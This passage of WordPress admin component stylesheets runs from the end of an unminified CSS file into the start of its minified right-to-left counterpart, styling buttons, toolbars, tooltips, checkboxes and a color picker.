.components-text-control__input[type=month]:-ms-input-placeholder, .components-text-control__input[type=number]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-text-control__input::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=text]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=tel]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=time]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=url]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=week]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=password]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=color]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=date]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=email]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=month]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=number]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-text-control__input::-moz-placeholder, .is-dark-theme .components-text-control__input[type=text]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=tel]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=time]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=url]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=week]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=password]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=color]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=date]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=datetime]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=email]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=month]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=number]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-text-control__input:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=text]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=tel]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=time]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=url]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=week]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=password]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=color]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=date]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=email]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=month]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=number]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-tip { display: flex; color: #757575; } .components-tip svg { -ms-grid-row-align: center; align-self: center; fill: #f0b849; flex-shrink: 0; margin-left: 16px; } .components-tip p { margin: 0; } .components-toggle-control .components-base-control__field { display: flex; margin-bottom: 12px; line-height: initial; align-items: center; } .components-toggle-control .components-base-control__field .components-form-toggle { margin-left: 12px; } .components-toggle-control .components-base-control__field .components-toggle-control__label { display: block; } .components-accessible-toolbar { display: inline-flex; border: 1px solid #1e1e1e; border-radius: 2px; flex-shrink: 0; } .components-accessible-toolbar > .components-toolbar-group:last-child { border-left: none; } .components-accessible-toolbar .components-button, .components-toolbar .components-button { position: relative; height: 48px; z-index: 1; padding-right: 16px; padding-left: 16px; } .components-accessible-toolbar .components-button:focus:enabled, .components-toolbar .components-button:focus:enabled { box-shadow: none; outline: none; } .components-accessible-toolbar .components-button::before, .components-toolbar .components-button::before { content: ""; position: absolute; display: block; border-radius: 2px; height: 32px; right: 8px; left: 8px; z-index: -1; animation: components-button__appear-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-accessible-toolbar .components-button::before, .components-toolbar .components-button::before { animation-duration: 1ms; } } .components-accessible-toolbar .components-button svg, .components-toolbar .components-button svg { position: relative; margin-right: auto; margin-left: auto; } .components-accessible-toolbar .components-button.is-pressed, .components-toolbar .components-button.is-pressed { background: transparent; } .components-accessible-toolbar .components-button.is-pressed:hover, .components-toolbar .components-button.is-pressed:hover { background: transparent; } .components-accessible-toolbar .components-button.is-pressed::before, .components-toolbar .components-button.is-pressed::before { background: #1e1e1e; } .components-accessible-toolbar .components-button:focus::before, .components-toolbar .components-button:focus::before { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .components-accessible-toolbar .components-button.has-icon, .components-toolbar .components-button.has-icon { padding-right: 8px; padding-left: 8px; min-width: 48px; justify-content: center; } .components-accessible-toolbar .components-button.components-tab-button, .components-toolbar .components-button.components-tab-button { font-weight: 500; } .components-accessible-toolbar .components-button.components-tab-button span, .components-toolbar .components-button.components-tab-button span { display: inline-block; padding-right: 0; padding-left: 0; position: relative; } @keyframes components-button__appear-animation { from { transform: scaleY(0); } to { transform: scaleY(1); } } .components-toolbar__control.components-button { position: relative; } .components-toolbar__control.components-button[data-subscript] svg { padding: 5px 0 5px 10px; } .components-toolbar__control.components-button[data-subscript]::after { content: attr(data-subscript); font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; font-weight: 600; line-height: 12px; position: absolute; left: 8px; bottom: 10px; } .components-toolbar__control.components-button:active::before { display: none; } .components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]::after { color: #fff; } .components-toolbar-group { min-height: 48px; border-left: 1px solid #1e1e1e; background-color: #fff; display: inline-flex; flex-shrink: 0; flex-wrap: wrap; line-height: 0; } .components-toolbar-group .components-toolbar-group.components-toolbar-group { border-width: 0; margin: 0; } .components-toolbar { min-height: 48px; margin: 0; border: 1px solid #1e1e1e; background-color: #fff; display: inline-flex; flex-shrink: 0; flex-wrap: wrap; } .components-toolbar .components-toolbar.components-toolbar { border-width: 0; margin: 0; } div.components-toolbar > div { display: block; margin: 0; } @supports ((position: -webkit-sticky) or (position: sticky)) { div.components-toolbar > div { display: flex; } } div.components-toolbar > div + div.has-left-divider { margin-right: 6px; position: relative; overflow: visible; } div.components-toolbar > div + div.has-left-divider::before { display: inline-block; content: ""; box-sizing: content-box; background-color: #ddd; position: absolute; top: 8px; right: -3px; width: 1px; height: 20px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon, .components-toolbar div > .components-button.components-button.has-icon { min-width: 36px; padding-right: 6px; padding-left: 6px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon svg, .components-toolbar div > .components-button.components-button.has-icon svg { min-width: 24px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon::before, .components-toolbar div > .components-button.components-button.has-icon::before { right: 2px; left: 2px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-child.has-icon, .components-accessible-toolbar .components-toolbar-group > div:first-child > .components-button.has-icon, .components-toolbar div:first-child .components-button.has-icon { min-width: 42px; padding-right: 11px; padding-left: 6px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-child.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:first-child > .components-button.has-icon::before, .components-toolbar div:first-child .components-button.has-icon::before { right: 8px; left: 2px; } .components-accessible-toolbar .components-toolbar-group > .components-button:last-of-type.has-icon, .components-accessible-toolbar .components-toolbar-group > div:last-child > .components-button.has-icon, .components-toolbar div:last-child .components-button.has-icon { min-width: 42px; padding-right: 6px; padding-left: 11px; } .components-accessible-toolbar .components-toolbar-group > .components-button:last-of-type.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:last-child > .components-button.has-icon::before, .components-toolbar div:last-child .components-button.has-icon::before { right: 2px; left: 8px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-of-type:last-of-type.has-icon, .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon, .components-toolbar div:first-child:last-child > .components-button.has-icon { min-width: 48px; padding-right: 12px; padding-left: 12px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-of-type:last-of-type.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon::before, .components-toolbar div:first-child:last-child > .components-button.has-icon::before { right: 8px; left: 8px; } .components-tooltip.components-popover { z-index: 1000002; } .components-tooltip.components-popover .components-popover__content { min-width: 0; } .components-tooltip .components-popover__content { background: #1e1e1e; border-radius: 2px; border-width: 0; color: #fff; white-space: nowrap; text-align: center; line-height: 1.4; font-size: 12px; box-shadow: none; } .components-tooltip .components-popover__content > div { padding: 4px 8px; } .components-tooltip__shortcut { display: inline-block; margin-right: 8px; } .disabled-element-wrapper { position: relative; } .disabled-element-wrapper .event-catcher { z-index: 100002; position: absolute; width: 100%; height: 100%; top: 0; right: 0; bottom: 0; left: 0; } .components-visually-hidden { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } .components-visually-hidden:focus { background-color: #ddd; clip: auto !important; -webkit-clip-path: none; clip-path: none; color: #444; display: block; font-size: 1em; height: auto; right: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; }css/dist/components/style-rtl.min.css000064400000331401151202620300013710 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__appear{animation-duration:1ms}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top right}.components-animate__appear.is-from-top.is-from-right{transform-origin:top left}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom right}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom left}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__slide-in{animation-duration:1ms}}.components-animate__slide-in.is-from-left{transform:translateX(-100%)}.components-animate__slide-in.is-from-right{transform:translateX(100%)}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content>div{padding:16px;min-width:220px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:right;width:100%}.components-autocomplete__result.components-button.is-selected{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.components-button-group{display:inline-block}.components-button-group .components-button{border-radius:0;display:inline-flex;color:#1e1e1e;box-shadow:inset 0 0 0 1px #1e1e1e}.components-button-group .components-button+.components-button{margin-right:-1px}.components-button-group .components-button:first-child{border-radius:0 2px 2px 0}.components-button-group .components-button:last-child{border-radius:2px 0 0 2px}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{display:inline-flex;text-decoration:none;font-size:13px;margin:0;border:0;cursor:pointer;-webkit-appearance:none;background:none;transition:box-shadow .1s linear;height:36px;align-items:center;box-sizing:border-box;padding:6px 12px;border-radius:2px;color:#1e1e1e}@media (prefers-reduced-motion:reduce){.components-button{transition-duration:0s}}.components-button:hover,.components-button[aria-expanded=true]{color:#007cba;color:var(--wp-admin-theme-color)}.components-button[aria-disabled=true]:hover{color:initial}.components-button:focus:not(:disabled){box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid transparent}.components-button.is-primary{white-space:nowrap;background:#007cba;background:var(--wp-admin-theme-color);color:#fff;text-decoration:none;text-shadow:none;outline:1px solid transparent}.components-button.is-primary:hover:not(:disabled){background:#006ba1;background:var(--wp-admin-theme-color-darker-10);color:#fff}.components-button.is-primary:active:not(:disabled){background:#005a87;background:var(--wp-admin-theme-color-darker-20);border-color:#005a87;border-color:var(--wp-admin-theme-color-darker-20);color:#fff}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{color:hsla(0,0%,100%,.4);background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color);opacity:1;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:0 0 0 1px #fff,0 0 0 3px #007cba;box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color)}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{color:#fff;background-size:100px 100%;background-image:linear-gradient(45deg,#007cba 33%,#005a87 0,#005a87 70%,#007cba 0);background-image:linear-gradient(45deg,var(--wp-admin-theme-color) 33%,var(--wp-admin-theme-color-darker-20) 0,var(--wp-admin-theme-color-darker-20) 70%,var(--wp-admin-theme-color) 0);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid transparent}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){background:#ddd;color:#006ba1;color:var(--wp-admin-theme-color-darker-10);box-shadow:none}.components-button.is-secondary:hover:not(:disabled),.components-button.is-tertiary:hover:not(:disabled){color:#006ba1;color:var(--wp-admin-theme-color-darker-10);box-shadow:inset 0 0 0 1px #006ba1;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color-darker-10)}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{color:#828282;background:#eaeaea;transform:none;opacity:1;box-shadow:none;outline:none}.components-button.is-secondary{box-shadow:inset 0 0 0 1px #007cba;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);outline:1px solid transparent}.components-button.is-secondary,.components-button.is-tertiary{white-space:nowrap;color:#007cba;color:var(--wp-admin-theme-color);background:transparent}.components-button.is-tertiary{padding:6px}.components-button.is-tertiary .dashicon{display:inline-block;flex:0 0 auto}.components-button.is-destructive{color:#cc1818;box-shadow:inset 0 0 0 1px #cc1818}.components-button.is-destructive:hover:not(:disabled){color:#710d0d;box-shadow:inset 0 0 0 1px #710d0d}.components-button.is-destructive:focus:not(:disabled){color:#007cba;color:var(--wp-admin-theme-color)}.components-button.is-destructive:active:not(:disabled){background:#ccc}.components-button.is-destructive.is-primary{color:#fff;background:#cc1818;box-shadow:inset 0 0 0 1px #cc1818}.components-button.is-destructive.is-primary:hover:not(:disabled){color:#fff;background:#710d0d;box-shadow:inset 0 0 0 1px #710d0d}.components-button.is-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:none;outline:none;text-align:right;color:#0073aa;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out;height:auto}@media (prefers-reduced-motion:reduce){.components-button.is-link{transition-duration:0s}}.components-button.is-link:active:not(:disabled),.components-button.is-link:hover:not(:disabled){color:#00a0d2;box-shadow:none}.components-button.is-link:focus{color:#124964;box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 var(--wp-admin-border-width-focus) 1px rgba(30,140,190,.8)}.components-button.is-link.is-destructive{color:#cc1818}.components-button.is-link.is-destructive:active:not(:disabled),.components-button.is-link.is-destructive:hover:not(:disabled){color:#710d0d;background:none}.components-button.is-link.is-destructive:focus:not(:disabled){color:#007cba;color:var(--wp-admin-theme-color)}.components-button:not([aria-disabled=true]):active{color:inherit}.components-button:disabled,.components-button[aria-disabled=true]{cursor:default;opacity:.3}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite;opacity:1;background-size:100px 100%;background-image:linear-gradient(45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0)}.components-button.is-small{height:24px;line-height:22px;padding:0 8px;font-size:11px}.components-button.is-small.has-icon:not(.has-text){padding:0 8px;width:24px}.components-button.has-icon{padding:6px;min-width:36px;justify-content:center}.components-button.has-icon .dashicon{display:inline-block;flex:0 0 auto;margin-right:2px;margin-left:10px}.components-button.has-icon.has-text{justify-content:left}.components-button.has-icon.has-text svg{margin-left:8px}.components-button.is-pressed{color:#fff;background:#1e1e1e}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.components-button.is-pressed:hover:not(:disabled){color:#fff;background:#1e1e1e}.components-button svg{fill:currentColor;outline:none}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:200px 0}}.components-checkbox-control__input[type=checkbox]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;font-size:16px;line-height:normal;border:1px solid #1e1e1e;transition:none;border-radius:2px;background:#fff;color:#1e1e1e;clear:none;cursor:pointer;display:inline-block;line-height:0;margin:0 0 0 4px;outline:0;padding:0!important;text-align:center;vertical-align:top;width:24px;height:24px;-webkit-appearance:none;appearance:none;transition:border-color .1s ease-in-out}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-checkbox-control__input[type=checkbox]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-3px -5px;color:#fff}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px -5px 0 0}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"";float:right;display:inline-block;vertical-align:middle;width:16px;font:normal 30px/1 dashicons;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{height:20px;width:20px}}@media (prefers-reduced-motion:reduce){.components-checkbox-control__input[type=checkbox]{transition-duration:0s}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.components-checkbox-control__input[type=checkbox]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{position:relative;display:inline-block;margin-left:12px;vertical-align:middle;width:24px;height:24px}@media (min-width:600px){.components-checkbox-control__input-container{width:20px;height:20px}}svg.components-checkbox-control__checked{fill:#fff;cursor:pointer;position:absolute;right:0;top:0;width:24px;height:24px;-webkit-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none}@media (min-width:600px){svg.components-checkbox-control__checked{right:-2px;top:-2px}}.components-circular-option-picker{display:inline-block;width:100%;min-width:188px}.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end}.components-circular-option-picker .components-circular-option-picker__swatches{margin-left:-12px}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;width:28px;margin-left:12px;margin-bottom:12px;vertical-align:top;transform:scale(1);transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option-wrapper{transition-duration:0s}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{content:"";position:absolute;top:1px;right:1px;bottom:1px;left:1px;border-radius:50%;z-index:-1;background:url("data:image/svg+xml;charset=utf-8,%3Csvg width='28' height='28' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M6 8V6H4v2h2zm2 0V6h2v2H8zm2 8H8v-2h2v2zm2 0v-2h2v2h-2zm0 2v-2h-2v2H8v2h2v-2h2zm2 0v2h-2v-2h2zm2 0h-2v-2h2v2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2v2zm-2-4v-2h2v2h-2z' fill='%23555D65'/%3E%3Cpath d='M18 18v2h-2v-2h2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2H8zm0 2v-2H6v2h2zm2 0v-2h2v2h-2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2h-2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4V0zm0 4V2H2v2h2zm2 0V2h2v2H6zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2H6z' fill='%23555D65'/%3E%3C/svg%3E")}.components-circular-option-picker__option{display:inline-block;vertical-align:top;height:100%;width:100%;border:none;border-radius:50%;background:transparent;box-shadow:inset 0 0 0 14px;transition:box-shadow .1s ease;cursor:pointer}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option{transition-duration:0s}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option.is-pressed{box-shadow:inset 0 0 0 4px;position:relative;z-index:1;overflow:visible}.components-circular-option-picker__option.is-pressed+svg{position:absolute;right:2px;top:2px;border-radius:50%;z-index:2;pointer-events:none}.components-circular-option-picker__option:after{content:"";position:absolute;top:-1px;right:-1px;bottom:-1px;left:-1px;border-radius:50%;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);border:1px solid transparent}.components-circular-option-picker__option:focus:after{content:"";border:2px solid #757575;width:32px;height:32px;position:absolute;top:-2px;right:-2px;border-radius:50%;box-shadow:inset 0 0 0 2px #fff}.components-circular-option-picker__option.components-button:focus{background-color:transparent;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{color:#fff;background:#fff}.components-circular-option-picker__dropdown-link-action{margin-left:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-color-edit__color-option-main-area{display:flex;align-items:center}.components-color-edit__color-option-main-area div.components-circular-option-picker__option-wrapper{display:block;margin:8px}.components-color-edit__color-option.is-hover{background:#e0e0e0}.components-color-edit__cancel-button{float:left}.components-color-edit__color-option-color-name{width:100%}.components-color-edit__label-and-insert-container{display:flex;align-items:center;justify-content:space-between}.components-color-edit__insert-button{margin-top:-8px}.components-color-edit__hidden-control{position:relative;right:-9999px}.components-color-edit__color-option-color-name-input .components-base-control__field{margin-bottom:0;margin-left:8px}.components-color-edit__slug-input{margin-right:8px}.components-color-edit__reset-button{float:left}.component-color-indicator{width:25px;height:16px;margin-right:.8rem;border:1px solid #dadada;display:inline-block}.component-color-indicator+.component-color-indicator{margin-right:.5rem}.components-color-picker{width:100%}.components-color-picker *{box-sizing:border-box}.components-color-picker__saturation{width:100%;padding-bottom:55%;position:relative}.components-color-picker__body{padding:16px 16px 12px}.components-color-picker__controls{display:flex}.components-color-picker__alpha-pointer,.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{padding:0;position:absolute;cursor:pointer;box-shadow:none;border:none}.components-color-picker__swatch{margin-left:8px;width:32px;height:32px;border-radius:50%;position:relative;overflow:hidden;background-image:linear-gradient(-45deg,#ddd 25%,transparent 0),linear-gradient(45deg,#ddd 25%,transparent 0),linear-gradient(-45deg,transparent 75%,#ddd 0),linear-gradient(45deg,transparent 75%,#ddd 0);background-size:10px 10px;background-position:100% 0,100% 5px,5px -5px,-5px 0}.is-alpha-disabled .components-color-picker__swatch{width:12px;height:12px;margin-top:0}.components-color-picker__active{border-radius:50%;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);z-index:2}.components-color-picker__active,.components-color-picker__saturation-black,.components-color-picker__saturation-color,.components-color-picker__saturation-white{position:absolute;top:0;right:0;left:0;bottom:0}.components-color-picker__saturation-color{overflow:visible}.components-color-picker__saturation-white{background:linear-gradient(90deg,#fff,hsla(0,0%,100%,0))}.components-color-picker__saturation-black{background:linear-gradient(0deg,#000,transparent)}.components-button.components-color-picker__saturation-pointer{width:14px;height:14px;padding:0;border-radius:50%;background-color:transparent;transform:translate(50%,-50%);box-shadow:0 0 0 1px #fff,inset 0 0 0 1px #000,0 0 0 2px #000}.components-button.components-color-picker__saturation-pointer:focus:not(:disabled){box-shadow:0 0 0 2px #fff,inset 0 0 0 1px #000,0 0 0 3px #000}.components-color-picker__toggles{flex:1}.components-color-picker__alpha{background-image:linear-gradient(-45deg,#ddd 25%,transparent 0),linear-gradient(45deg,#ddd 25%,transparent 0),linear-gradient(-45deg,transparent 75%,#ddd 0),linear-gradient(45deg,transparent 75%,#ddd 0);background-size:10px 10px;background-position:100% 0,100% 5px,5px -5px,-5px 0}.components-color-picker__alpha-gradient,.components-color-picker__hue-gradient{position:absolute;top:0;right:0;left:0;bottom:0}.components-color-picker__alpha,.components-color-picker__hue{height:12px;position:relative}.is-alpha-enabled .components-color-picker__hue{margin-bottom:8px}.components-color-picker__alpha-bar,.components-color-picker__hue-bar{position:relative;margin:0 3px;height:100%;padding:0 2px}.components-color-picker__hue-gradient{background:linear-gradient(90deg,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red)}.components-color-picker__alpha-pointer,.components-color-picker__hue-pointer{left:0;width:14px;height:14px;border-radius:50%;box-shadow:0 1px 4px 0 